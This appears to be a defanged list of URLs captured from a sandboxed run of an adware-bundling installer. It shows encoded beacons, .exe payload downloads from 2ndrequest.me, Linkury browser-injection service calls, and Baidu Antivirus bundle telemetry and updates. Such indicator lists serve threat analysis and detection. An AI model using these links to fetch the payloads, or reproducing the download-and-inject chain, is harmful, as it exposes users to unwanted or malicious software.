hxxp://plainsavingscenter.com/fp?alpha=f2xFCjsuUiEyd1pQaiA0figWBzt/MFN7elhtFB5kOTxLXihpR0h6XHonUAweJGdGKkQKBy8KDRV3HCIlCCQwDjlibQFjPlowIHl4QDVnaVogcV5eemtoDXczDQZFSyB/PBwBPyMWRXhVdSdfDXcickBeQXgeLgt4fmsUVi9sa3pUQHcTQEd/ey1WCX4HOCMyOS0mS0tua3lCcSsAV1dBcWQ/Hgw3KQAXKUV9fEkMaTN6Qk8UKwp9Wm8xNxk2dSVsZ1MFAQpSRWVwbw9QOVo5cHRFWQRVCSU9ZBJ2OggCQUglb2xaQDNEXFM5ECR6VHpiVXpEK0J5B1kPcGF3HSAkDyQ7DUQSc3VjPVwwUA9scBhFFmVsaCUWb14=
hxxp://plainsavingscenter.com/ii?alpha=AmkNCgUtFCJiJhZSIiAKAy1eBwUCNQEiCCdRTF5KXWxcClEXVQAcN1FyTxw3DzlRAS5BCTpOElwWCFsRBz10FHJsdU0UHVI2Gg9Se38iJwoBJGQID1csWSRHYkRYRR8NP1gVACMSEHoeA14MCFYqCRVXDQptfgFDahxfUGYESHF5BXo2CRsHRXMWDVB/bGVlB153CUVYF21YdABiU1oea0ZnXEVVH1VRIylVPUVZAiw9Vzl0BAFjFkUXb1xIFgI9cxwkOTQzSVBeUHgZDz0tMiRSTRJSBQ1LKxtqFXcFEhpAQC4OX0YCVwABMlNpTk8LCDsYOCBcSzxPBA4HPEZzRWMnXzAvMhBIUg8lXVoSPTAkOhdKZQ5FWApuXnYFZERaCl9dawQMQAZGVmxhECgPDEIBPFQOJ1USFlYQQjYfDgMfWS9TNzk/X3VHAnFOTEloNz1pA1YrCRtUXXoJMAh9BxNJGQYuDE0NVxUHfBgKKRgGVFx1eytzdG11SBhKYioHT0RpZ14sMTVCYn08S2oZBCE0KGlzMxp1Kk9TLAciCAJ2cytsEn8FQ10JGGoDCXtcc3MxPmlcG3RkYiRZBUt/Og9RQ3kgVmMVHzoGewJ3Tx8kPDA9MREALgZNDEo/VXcTPgoOTkJiRn96Rg==
hxxp://plainsavingscenter.com/if?alpha=AmkNCgVCOxZBQkNBIiAKAy1eBwUCNQEiCCdRTF5KXWxcClEXVQAcN1FyTxw3DzlRAS5BCTpOElwWCFsRBz10FHJsdU0UHVI2Gg9Se38iJwoBJGQID1csWSRHYkRYRR8NP1gVACMSEHoeA14MCFYqCRVXDQptfgFDahxfUGYESHF5BXo+HBtgC2BHUykgMD8fXhwpaBwAUD8AYFgyCgteXwk6UR0FSRQNYmkCNRAPVV59DUktV0kRShgTNgkeU1tjM19lOD4ZZEEMUxYJTn53eW0HQGsOXlgWeg8jWghYXEV8Zy4OX0QeVVhxDFl1RVMTHWMYXHsfTTpMUUEsGgNRCkEoWTEzKBBAR0NSQlEEIS44dG8gZWsZBkI5GzVcK1leFAlCbRNfWQhLHXZ7BTUQElZYfwhPOlddJVEUS38cB0BcLHsacHJrWUlAD2RFWF0LNyw4XgMtG0M8SjUcI1FkZEsZXVF7SApeERgJajUCaxxFQg85BVZ5Hh5jClFDPlFWEw08AgBxZWFPFAkgQRF5ImgpJDAKNiRXGAwCOAcrW3lzcSdndS4FQ10EGHkPBH5aB0sUASsFKQh+fBYeAEowAQgeYEMTcQQOFCp2FQdxFmktOTg5MRcmLEkfHEUwSA9xARd3GVtQKCVeWRFAGy83DVgbYCAhDG0iDEweD1kTQwMgKWB2QBJEcgAPGktDP1FOUhASFggydRUgSyYfYDotflg1dHc9Yl9/LllWDW1yDz1yfkRMKRgLXipxX14QcDJlNBspVlFmCWYMHz09Q1YTSF17BgthJiV0OABwAB5rKQ4sfQt0WTpMUXgsWnQBYAUhKnNTZHcPGQBNCSN6cCcLWUsnCUYMWXxhC2NzMgwGUAV2Ww4CPC0uCR9QTR0=
hxxp://2ndrequest.me/310714d/310714_y3.exe?aleaTokenID=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH
hxxp://sync.bav.baidu.com/cgi-bin-py/report_mini_info.cgi?type=uninstall_reinstall&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=0&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali\|br\|IBD\|Bundle&ver=5.4.0.90620&sip=&drc=20000&dt=1243016&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB
hxxp://up.wshifen.com/up.cgi
hxxp://sync.bav.baidu.com/cgi-bin-py/report_mini_info.cgi?type=install_start&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=0&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali\|br\|IBD\|Bundle&ver=5.4.0.90620&sip=&drc=20000&dt=1243016&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB
hxxp://www.a.shifen.com/
hxxp://sync.bav.baidu.com/cgi-bin-py/report_mini_info.cgi?type=install_pi&id=61807c4bafc26bb2ed98e3e60f587cd6&chl=Imali\|br\|IBD\|Bundle&ver=5.4.0.90620&pname=375ab56a567c2d729d1b6ced12434ec5355abe6a397c7772911b3eed444317c5625aee6a3c7c7972901b3eed434314c5375aee6a3c7c7972ca1b32ed104345c5605abd6a3e7c6072cd1b72ed4543&pm=91a805799331e8d4d057b64b5bc342e1&ps=3c5e8e6a&os=6.5.1.2600.3.0.0&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB&gfname=305ab56a567c3d72c91b64ed444314c53b5af76a557c3d72de1b69ed0e4313c52c5aea6a&gfm=30d89e44fcc0e2f332f431013517fa13&gfs=54308e6a
hxxp://2ndrequest.me/310714d/310714_am2.exe?aleaTokenID=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH
hxxp://sync.bav.baidu.com/cgi-bin-py/report_mini_info.cgi?type=dl_xml_start&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=0&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali\|br\|IBD\|Bundle&ver=5.4.0.90620&sip=205.185.216.42&drc=20000&dt=1243016&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB
hxxp://cds.g2m9e2g7.hwcdn.net/newver_B354.xml
hxxp://2ndrequest.me/310714d/310714_l.exe?aleaTokenID=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH
hxxp://speedtest.wshifen.com/opencgi/downinfo.php?m=start_download&i=61807c4bafc26bb2ed98e3e60f587cd61448348608&s=205.185.216.42&u=hxxp://dl2.bav.baidu.com/newver_B354.xml&t=2015/11/24 09:03:30&v=5.4.0.90620&p=0&speed=0&code=20000	185.10.107.146
hxxp://linkury-webcomponents-westeurope.cloudapp.net/maxmind.asmx/GetGeoInfo
hxxp://linkury-bumbleb-statisticsservice-westeurope.cloudapp.net/StatisticsService.svc/V1/JSON/LogEvent
hxxp://ils-front-balancer3-264552681.us-east-1.elb.amazonaws.com/namen.php
hxxp://crl.usertrust.com/AddTrustExternalCARoot.crl
hxxp://crl.usertrust.com/UTN-USERFirst-Object.crl
hxxp://ils-front-balancer3-264552681.us-east-1.elb.amazonaws.com/tdownload1.php
hxxp://cds.g2m9e2g7.hwcdn.net/BavPro_Setup_B354.exe
hxxp://crl.comodoca.com.cdn.cloudflare.net/COMODOCodeSigningCA2.crl
hxxp://speedtest.wshifen.com/opencgi/downinfo.php?m=end_download&i=61807c4bafc26bb2ed98e3e60f587cd61448348608&s=205.185.216.42&u=hxxp://dl2.bav.baidu.com/newver_B354.xml&t=2015/11/24 09:03:32&v=5.4.0.90620&p=10000&speed=4587&code=30000	185.10.107.146
hxxp://pzcdn.com/gettrk_l?partner=pcdealb&channel=pcdealbnew&versionint=1.0.2.0&hid=v4C28B7D95-2978-BD4C-036F-0CC89C089D
hxxp://logcollectorclick-1564780678.us-east-1.elb.amazonaws.com/dealdo/install-report?type=install&ver=1.0.2.0&instgrp=20151124__1.0.2.0__lnk_auto_1218_1&partner=pcdealb&channel=pcdealbnew&funnel=ed1868c9-2186-470a-b0b1-1beb1b77697b&cb=296875&slug=insthelper&defaultBrowser=0&ieVer=362e302e323930302e35353132&firefoxVer=&chromeVer=&operaVer=&winVer=352e31&hid=v4C28B7D95-2978-BD4C-036F-0CC89C089D&ieproc=0&ffproc=0&chproc=0
hxxp://ils-front-balancer3-264552681.us-east-1.elb.amazonaws.com/index.php
hxxp://dyno3mlj15jgv.cloudfront.net/V29/amipb.js
hxxp://sync.bav.baidu.com/cgi-bin-py/report_mini_info.cgi?type=dl_xml_successful&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=4587&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali\|br\|IBD\|Bundle&ver=5.4.0.90620&sip=205.185.216.42&drc=30000&dt=0&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB
hxxp://ils-front-balancer3-264552681.us-east-1.elb.amazonaws.com/finalize.php
hxxp://linkury-dynamicinjections-westeurope.cloudapp.net/InjectionsService.svc/GetPublisherInjectionsByPublisherAndCountry?publisher=PB4&country=UA&installDate=24/11/2015&barcodeid=149125&downloadprovider=PennyBee&installid=C28B7D95-2978-BD4C-036F-0CC89C089D&browser=pr_on
hxxp://sync.bav.baidu.com/cgi-bin-py/report_mini_info.cgi?type=download_start&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=4587&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali\|br\|IBD\|Bundle&ver=5.4.0.90620&sip=205.185.216.42&drc=30000&dt=0&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB
hxxp://blob.am2prdstr05a.store.core.windows.net/pennybee/UpdateVersion.xml
hxxp://www.google.com/
hxxp://ils-front-balancer3-264552681.us-east-1.elb.amazonaws.com/thankyou.php
hxxp://www.google.com.ua/?gfe_rd=cr&ei=yAtUVpbsMKm46ASt_rOoCA	173.194.113.207
hxxp://linkury-dynamicinjections-westeurope.cloudapp.net/InjectionsService.svc/GetPublisherInjectionsByPublisherAndCountry?publisher=PB4&country=UA&installDate=24/11/2015&barcodeid=149125&downloadprovider=PennyBee&installid=C28B7D95-2978-BD4C-036F-0CC89C089D&browser=pr
hxxp://speedtest.wshifen.com/opencgi/downinfo.php?m=start_download&i=61807c4bafc26bb2ed98e3e60f587cd61448348610&s=205.185.216.42&u=hxxp://dl2.bav.baidu.com/BavPro_Setup_B354.exe&t=2015/11/24 09:03:33&v=5.4.0.90620&p=0&speed=0&code=30000	185.10.107.146
hxxp://linkury-dynamicinjections-westeurope.cloudapp.net/InjectionsService.svc/GetPublisherInjectionsByPublisherAndCountry?publisher=PB4&country=UA&installDate=24/11/2015&barcodeid=149125&downloadprovider=PennyBee&installid=C28B7D95-2978-BD4C-036F-0CC89C089D&browser=pr_ff
hxxp://linkury-dynamicinjections-westeurope.cloudapp.net/InjectionsService.svc/GetPublisherInjectionsByPublisherAndCountry?publisher=PB4&country=UA&installDate=24/11/2015&barcodeid=149125&downloadprovider=PennyBee&installid=C28B7D95-2978-BD4C-036F-0CC89C089D&browser=pr_ie
hxxp://www.google.com.ua/?gfe_rd=cr&ei=yQtUVqnrOqWA6ATWyKLADg	173.194.113.207
hxxp://speedtest.wshifen.com/opencgi/downinfo.php?m=end_download&i=61807c4bafc26bb2ed98e3e60f587cd61448348610&s=205.185.216.42&u=hxxp://dl2.bav.baidu.com/BavPro_Setup_B354.exe&t=2015/11/24 09:03:54&v=5.4.0.90620&p=10000&speed=1260555&code=30000	185.10.107.146
hxxp://sync.bav.baidu.com/cgi-bin-py/report_mini_info.cgi?type=download_successful&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=1260555&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali\|br\|IBD\|Bundle&ver=5.4.0.90620&sip=205.185.216.42&drc=30000&dt=20&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB
hxxp://sync.bav.baidu.com/cgi-bin-py/report_mini_info.cgi?type=full_install_start&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=1260555&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali\|br\|IBD\|Bundle&ver=5.4.0.90620&sip=205.185.216.42&drc=30000&dt=20&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB
hxxp://bavhome.wshifen.com/cgi/bav/Bav_NoDisturb.fcg
hxxp://bavhome.wshifen.com/cgi/dump/Filter.xml
hxxp://f.wshifen.com/cloud-hips-down.cgi/static/hipstips.dat
hxxp://f.wshifen.com/cloud-hips-down.cgi/static/mn.dat
hxxp://f.wshifen.com/cloud-hips-down.cgi/static/rl.dat
hxxp://f.wshifen.com/cloud-hips-down.cgi/static/bhf.dat
hxxp://f.wshifen.com/cloud-hips-down.cgi/static/midhf.dat
hxxp://cds.g2m9e2g7.hwcdn.net/skin5_0_stars.png
hxxp://cds.g2m9e2g7.hwcdn.net/skin5_0_halloween.png
hxxp://cds.g2m9e2g7.hwcdn.net/skin5_0_wheatfield.png
hxxp://cds.g2m9e2g7.hwcdn.net/skin5_0_speed.png
hxxp://cds.g2m9e2g7.hwcdn.net/skin5_0_planet.png
hxxp://cds.g2m9e2g7.hwcdn.net/skin5_0_war.png
hxxp://cds.g2m9e2g7.hwcdn.net/skin5_0_dream.png
hxxp://cds.g2m9e2g7.hwcdn.net/skin5_0_green.png
hxxp://f.wshifen.com/check_domain.cgi
hxxp://cds.g2m9e2g7.hwcdn.net/skin5_0_gold.png
hxxp://cds.g2m9e2g7.hwcdn.net/skin5_0_game.png
hxxp://f.wshifen.com/cloud-hips-down.cgi/static/hlcf.dat
hxxp://cds.g2m9e2g7.hwcdn.net/skin5_0_flower.png
hxxp://f.wshifen.com/cloud-hips-down.cgi/static/apcf.dat
hxxp://cds.g2m9e2g7.hwcdn.net/skin5_0_oldstars.png
hxxp://a767.dspw65.akamai.net/msdownload/update/v3/static/trustedr/en/authrootseq.txt
hxxp://a767.dspw65.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab
hxxp://a767.dspw65.akamai.net/msdownload/update/v3/static/trustedr/en/B1BC968BD4F49D622AA89A81F2150152A41D829C.crt
hxxp://f.wshifen.com/query_report_ctrl.cgi
hxxp://sync.bav.baidu.com/cgi-bin-py/dump_log_query.cgi
hxxp://sync.bav.baidu.com/cgi-bin-py/get_channel_info_bavv2.cgi
hxxp://sync.bav.baidu.com/cgi-bin/report_uu_msg_bavv2.cgi
hxxp://upf.bav.baidu.com/?getchannel=1&guid=61807c4bafc26bb2ed98e3e60f587cd6
hxxp://bavhome.wshifen.com/cgi/ip/getCode.php
hxxp://sync.bav.baidu.com/cgi-bin-py/statistic_msg.cgi?type=BavStrLog&guid=61807c4bafc26bb2ed98e3e60f587cd6&ver=5.4.3.147185
hxxp://update.eg.bav.baidu.com/cgi-bin/get_bavtools_update_info.cgi?guid=61807c4bafc26bb2ed98e3e60f587cd6&ChannelName=Imali\|br\|IBD\|Bundle&ProgramVersion=5.4.3.147185&ToolsVersion=5.4.3.147185&os=6.5.1.2600.3.0.0&Ismanual=yes
hxxp://bav-updown.wshifen.com/baidu_tool/ToolsList_2015_06_10_02_09_55_10.xml
hxxp://bav-updown.wshifen.com/baidu_tool/8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73/1.0.0.9/ToolFileList.xml
hxxp://bav-updown.wshifen.com/baidu_tool/8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73/1.0.0.9/ToolSummary/ALLICON_05.png.7z
hxxp://up.wshifen.com/cgi-bin/load_filter.cgi
hxxp://bav-updown.wshifen.com/baidu_tool/8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73/1.0.0.9/ToolSummary/detail.xml.7z
hxxp://f.wshifen.com/queryfeature.do
hxxp://bav-updown.wshifen.com/baidu_tool/639C9925-1C42-4236-991B-AEAB22353808/1.0.0.10/ToolFileList.xml
hxxp://bav-updown.wshifen.com/baidu_tool/639C9925-1C42-4236-991B-AEAB22353808/1.0.0.10/ToolSummary/ALLICON_05.png.7z
hxxp://f.wshifen.com/md5_check.cgi
hxxp://bav-updown.wshifen.com/baidu_tool/639C9925-1C42-4236-991B-AEAB22353808/1.0.0.10/ToolSummary/detail.xml.7z
hxxp://bav-updown.wshifen.com/baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolFileList.xml
hxxp://f.wshifen.com/sample_check.cgi
hxxp://bav-updown.wshifen.com/baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/detail.xml.7z
hxxp://bav-updown.wshifen.com/baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/gray_icon2.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/icon2.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/icon2G.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/icon2N.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolFileList.xml
hxxp://bav-updown.wshifen.com/baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/detail.xml.7z
hxxp://bav-updown.wshifen.com/baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/gray_icon.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/gray_icon2.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/icon.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/icon2.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolFileList.xml
hxxp://bav-updown.wshifen.com/baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/detail.xml.7z
hxxp://bav-updown.wshifen.com/baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/gray_icon.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/gray_icon2.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/icon.png.7z
hxxp://sync.bav.baidu.com/cgi-bin-py/report_mini_info.cgi?type=install_finish&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=1260555&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali\|br\|IBD\|Bundle&ver=5.4.0.90620&sip=205.185.216.42&drc=30000&dt=20&firc=0&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB
hxxp://bav-updown.wshifen.com/baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/icon2.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolFileList.xml
hxxp://update.eg.bav.baidu.com/cgi-bin/get_security_client_update_info_bav.cgi?ChannelName=Imali\|br\|IBD\|Bundle&DataVersion=2111902987&FillLackFiles=yes&guid=61807c4bafc26bb2ed98e3e60f587cd6&Ismanual=no&IsPro=yes&mt=2112229640&mv=1.0&os=6.5.1.2600.3.0.0&ProgramVersion=5.4.3.147185&SignVersion=2.0.1.0&wbit=32&wt=2110524686&wv=1.0
hxxp://bav-updown.wshifen.com/baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/detail.xml.7z
hxxp://bav-updown.wshifen.com/baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/gray_icon.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/gray_icon2.png.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/md5/2113411594/md5ConfigFileInfo.ini
hxxp://bav-updown.wshifen.com/baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/icon.png.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/md5/2113411594/sc.ini.7z
hxxp://bav-updown.wshifen.com/baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/icon2.png.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/md5/2113411594/MergeHistoryList.ini.7z
hxxp://bav-updown.wshifen.com/baidu_tool/DEF8DB04-2D26-469A-8D59-5D813E89773D/2.0.1.2/ToolFileList.xml
hxxp://bav-updown.wshifen.com/bav_featurelib/micro/2113411594/microConfigFileInfo.ini
hxxp://bav-updown.wshifen.com/baidu_tool/DEF8DB04-2D26-469A-8D59-5D813E89773D/2.0.1.2/ToolSummary/detail.xml.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/micro/2113411594/nsc.ini.7z
hxxp://bav-updown.wshifen.com/baidu_tool/DEF8DB04-2D26-469A-8D59-5D813E89773D/2.0.1.2/ToolSummary/gray_icon.png.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/micro/2113411594/MicroSignMergeHistory.ini.7z
hxxp://bav-updown.wshifen.com/baidu_tool/DEF8DB04-2D26-469A-8D59-5D813E89773D/2.0.1.2/ToolSummary/icon.png.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/url/2112950282/urlConfigFileInfo.ini
hxxp://bav-updown.wshifen.com/baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolFileList.xml
hxxp://bav-updown.wshifen.com/bav_featurelib/url/2112950282/data/urlConfig.ini.7z
hxxp://bav-updown.wshifen.com/baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/detail.xml.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/rcs/2113147145/rcsConfigFileInfo.ini
hxxp://bav-updown.wshifen.com/baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/gray_icon.png.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/rcs/2113147145/data/rcsConfig.ini.7z
hxxp://bav-updown.wshifen.com/baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/gray_icon2.png.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/srsl/2112953098/srslConfigFileInfo.ini
hxxp://bav-updown.wshifen.com/baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/icon.png.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/srsl/2112953098/data/srslConfig.ini.7z
hxxp://bav-updown.wshifen.com/baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/icon2.png.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/bavrr/2113343241/bavrrConfigFileInfo.ini
hxxp://bav-updown.wshifen.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolFileList.xml
hxxp://bav-updown.wshifen.com/bav_featurelib/bavrr/2113343241/data/bavrrConfig.ini.7z
hxxp://bav-updown.wshifen.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/detail.xml.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/adblock/2112950282/adblockConfigFileInfo.ini
hxxp://bav-updown.wshifen.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/detailDef.xml.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/adblock/2112950282/data/adblockConfig.ini.7z
hxxp://bav-updown.wshifen.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/gray_icon2.png.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/plugindata/2113344777/plugindataConfigFileInfo.ini
hxxp://bav-updown.wshifen.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/icon2.png.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/plugindata/2113344777/data/plugindataConfig.ini.7z
hxxp://bav-updown.wshifen.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/icon5G.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/icon5N.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolFileList.xml
hxxp://bav-updown.wshifen.com/baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolSummary/detail.xml.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/bavdd/2113012750/bavddConfigFileInfo.ini
hxxp://bav-updown.wshifen.com/baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolSummary/detailDef.xml.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/bavdd/2113012750/data/bavddConfig.ini.7z
hxxp://bav-updown.wshifen.com/baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolSummary/gray_icon.png.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/startup/2113278481/startupConfigFileInfo.ini
hxxp://bav-updown.wshifen.com/baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolSummary/icon.png.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/startup/2113278481/data/startupConfig.ini.7z
hxxp://bav-updown.wshifen.com/baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolFileList.xml
hxxp://bav-updown.wshifen.com/bav_featurelib/bavbh/2113214996/bavbhConfigFileInfo.ini
hxxp://bav-updown.wshifen.com/baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/detail.xml.7z
hxxp://bav-updown.wshifen.com/bav_featurelib/bavbh/2113214996/data/bavbhConfig.ini.7z
hxxp://bav-updown.wshifen.com/baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/gray_icon.png.7z
hxxp://bav-updown.wshifen.com/5.4.3.147185/baidu_update/FileList.xml.7z
hxxp://bav-updown.wshifen.com/baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/gray_icon2.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/icon.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/icon2.png.7z
hxxp://bav-updown.wshifen.com/bav_module/2015.06.24.63/FileList.xml
hxxp://bav-updown.wshifen.com/baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolFileList.xml
hxxp://bav-updown.wshifen.com/bav_module/2015.06.12.57/FileList.xml
hxxp://bav-updown.wshifen.com/baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/detail.xml.7z
hxxp://bav-updown.wshifen.com/bav_module/2015.05.19.47/FileList.xml
hxxp://bav-updown.wshifen.com/baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/gray_icon2.png.7z
hxxp://bav-updown.wshifen.com/bav_module/2015.05.11.36/FileList.xml
hxxp://bav-updown.wshifen.com/baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/icon2.png.7z
hxxp://bav-updown.wshifen.com/baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/icon4G.png.7z
hxxp://bav-updown.wshifen.com/5.4.3.147185/baidu_update/BavBsReport.exe.7z
hxxp://bav-updown.wshifen.com/baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/icon4N.png.7z
